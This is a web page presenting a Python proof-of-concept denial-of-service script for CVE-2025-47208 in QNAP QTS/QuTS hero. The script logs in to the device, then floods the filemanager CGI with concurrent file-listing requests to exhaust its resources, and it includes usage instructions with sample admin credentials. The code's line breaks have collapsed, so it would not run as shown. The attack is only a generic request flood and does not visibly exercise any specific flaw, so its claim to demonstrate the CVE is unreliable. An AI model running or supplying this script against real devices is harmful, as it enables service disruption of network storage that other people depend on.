CVE-2025-47208 QNAP QTS/QuTS hero 资源耗尽拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2025-47208 PoC - Resource Exhaustion Attack # Target: QNAP QTS/QuTS hero # Note: This PoC is for educational and authorized testing purposes only import requests import concurrent.futures import time import sys def exploit_resource_exhaustion(target_url, username, password, num_threads=10): """ Simulate resource exhaustion attack by making concurrent resource-intensive requests """ session = requests.Session() # Login to get valid session login_url = f"{target_url}/cgi-bin/authLogin.cgi" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return False print("[+] Login successful") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False # Resource exhaustion through repeated file operations def resource_intensive_request(i): try: # Simulate file listing requests that consume resources file_url = f"{target_url}/cgi-bin/filemanager/cgi.fcgi?operation=list&path=/" headers = {'Cookie': f'NAS_SID={session.cookies.get("NAS_SID")}'} resp = session.get(file_url, headers=headers, timeout=5) return f"Request {i}: {resp.status_code}" except Exception as e: return f"Request {i}: Failed - {e}" print(f"[*] Starting resource exhaustion with {num_threads} threads...") start_time = time.time() with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor: futures = [executor.submit(resource_intensive_request, i) for i in range(100)] results = [f.result() for f in concurrent.futures.as_completed(futures)] elapsed = time.time() - start_time print(f"[*] Completed 100 requests in {elapsed:.2f} seconds") print("[*] Check system resource usage to verify exhaustion") return True if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 cve-2025-47208-poc.py <target_url> <username> <password>") print("Example: python3 cve-2025-47208-poc.py https://192.168.1.100 admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_resource_exhaustion(target, user, pwd)